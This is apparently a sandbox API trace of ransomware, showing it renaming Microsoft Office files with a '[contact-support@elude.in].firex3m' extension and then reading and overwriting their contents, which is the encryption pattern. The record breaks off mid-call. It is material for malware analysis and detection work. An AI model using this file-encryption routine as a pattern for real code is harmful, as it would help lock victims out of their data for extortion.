FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\PowerViewRes.lt.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x152a6704, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f414738, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f9af, dwReserved0=0xb407496, dwReserved1=0x7118648, cFileName="PowerViewRes.lt.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0177.057] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0177.057] Sleep (dwMilliseconds=0x1) [0177.061] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT", len=0x48 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT") returned 1 [0177.061] GetProcessHeap () returned 0x630000 [0177.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b34) returned 0x707d3d0 [0177.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.131] CloseHandle (hObject=0x714) returned 1 [0177.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WI37FF~1.FIR")) returned 0x6d5400 [0177.132] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0177.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.132] GetProcessHeap () returned 0x630000 [0177.132] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f6158 [0177.132] GetProcessHeap () returned 0x630000 [0177.132] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f69c8 [0177.132] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.132] ReadFile (in: hFile=0x714, lpBuffer=0x71f6158, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6158*, lpNumberOfBytesRead=0x46fff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.134] GetProcessHeap () returned 0x630000 [0177.134] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0177.134] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.134] WriteFile (in: hFile=0x714, lpBuffer=0x71f69c8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f69c8*, lpNumberOfBytesWritten=0x46fff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.134] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.134] WriteFile (in: hFile=0x714, lpBuffer=0x71f6a87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6a87*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.134] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.135] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.135] CloseHandle (hObject=0x714) returned 1 [0177.135] GetProcessHeap () returned 0x630000 [0177.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f69c8 | out: hHeap=0x630000) returned 1 [0177.135] GetProcessHeap () returned 0x630000 [0177.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f6158 | out: hHeap=0x630000) returned 1 [0177.135] GetProcessHeap () returned 0x630000 [0177.135] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0177.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x2f86696b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x46ffd20, dwReserved1=0x778915ca, cFileName="WINPROJ_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WI37FF~1.FIR")) returned 0x6d5000 [0177.135] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0177.135] Sleep (dwMilliseconds=0x1) [0177.262] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK", len=0x48 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK") returned 1 [0177.262] GetProcessHeap () returned 0x630000 [0177.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2afc) returned 0x707d3d0 [0177.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0177.263] CloseHandle (hObject=0x6c8) returned 1 [0177.263] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.264] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIO_~2.FIR")) returned 0x6d4f40 [0177.264] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0177.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0177.264] GetProcessHeap () returned 0x630000 [0177.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4988 [0177.264] GetProcessHeap () returned 0x630000 [0177.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4598 [0177.264] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.265] ReadFile (in: hFile=0x6c8, lpBuffer=0x6a4988, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4988*, lpNumberOfBytesRead=0x46fff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.266] GetProcessHeap () returned 0x630000 [0177.266] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0177.266] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.266] WriteFile (in: hFile=0x6c8, lpBuffer=0x6a4598*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4598*, lpNumberOfBytesWritten=0x46fff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.266] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.266] WriteFile (in: hFile=0x6c8, lpBuffer=0x6a45f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a45f7*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.266] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.266] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.267] CloseHandle (hObject=0x6c8) returned 1 [0177.267] GetProcessHeap () returned 0x630000 [0177.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4598 | out: hHeap=0x630000) returned 1 [0177.267] GetProcessHeap () returned 0x630000 [0177.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4988 | out: hHeap=0x630000) returned 1 [0177.267] GetProcessHeap () returned 0x630000 [0177.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0177.267] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2f9bde1a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x46ffd20, dwReserved1=0x6a4988, cFileName="VISIO_STD_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIO_~2.FIR")) returned 0x6d5480 [0177.267] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0177.267] Sleep (dwMilliseconds=0x1) [0177.425] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS", len=0x42 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS") returned 1 [0177.425] GetProcessHeap () returned 0x630000 [0177.425] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2adc) returned 0x707d3d0 [0177.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0177.426] CloseHandle (hObject=0x6c8) returned 1 [0177.426] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.444] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8506c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3b8506c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x215ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI8940~1.FIR")) returned 0x6d4f40 [0177.444] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0177.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0177.444] GetProcessHeap () returned 0x630000 [0177.444] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73608f8 [0177.446] GetProcessHeap () returned 0x630000 [0177.446] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x736bd28 [0177.446] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.446] ReadFile (in: hFile=0x6c8, lpBuffer=0x73608f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608f8*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.429] GetProcessHeap () returned 0x630000 [0185.429] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0185.430] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.430] WriteFile (in: hFile=0x6c8, lpBuffer=0x736bd28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x736bd28*, lpNumberOfBytesWritten=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.430] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.430] WriteFile (in: hFile=0x6c8, lpBuffer=0x7377127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377127*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.386] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.386] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.386] CloseHandle (hObject=0x6c8) returned 1 [0187.386] GetProcessHeap () returned 0x630000 [0187.386] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x736bd28 | out: hHeap=0x630000) returned 1 [0187.386] GetProcessHeap () returned 0x630000 [0187.387] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73608f8 | out: hHeap=0x630000) returned 1 [0187.387] GetProcessHeap () returned 0x630000 [0187.387] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0187.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8506c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3b8506c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x35a4b23e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x215d2, dwReserved0=0xb407496, dwReserved1=0x73608f0, cFileName="VISIO_PRM.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI8940~1.FIR")) returned 0x6d53c0 [0187.387] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0187.387] Sleep (dwMilliseconds=0x1) [0189.288] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF", len=0x49 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF") returned 1 [0189.288] GetProcessHeap () returned 0x630000 [0189.288] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x298c) returned 0x707d3d0 [0189.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0189.289] CloseHandle (hObject=0x6e4) returned 1 [0189.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9b.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR9~2.FIR")) returned 0x6d4ec0 [0189.327] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0189.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR9B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir9b.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0189.327] GetProcessHeap () returned 0x630000 [0189.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e41) returned 0x70efca0 [0189.327] GetProcessHeap () returned 0x630000 [0189.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e41) returned 0x71417f8 [0189.328] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.328] ReadFile (in: hFile=0x6e4, lpBuffer=0x70efca0, nNumberOfBytesToRead=0x3e20, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70efca0*, lpNumberOfBytesRead=0x46fff0c*=0x3e20, lpOverlapped=0x0) returned 1 [0191.654] GetProcessHeap () returned 0x630000 [0191.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0191.654] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.654] WriteFile (in: hFile=0x6e4, lpBuffer=0x71417f8*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71417f8*, lpNumberOfBytesWritten=0x46fff0c*=0x3e20, lpOverlapped=0x0) returned 1 [0191.654] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.654] WriteFile (in: hFile=0x6e4, lpBuffer=0x7145617*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7145617*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.655] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) 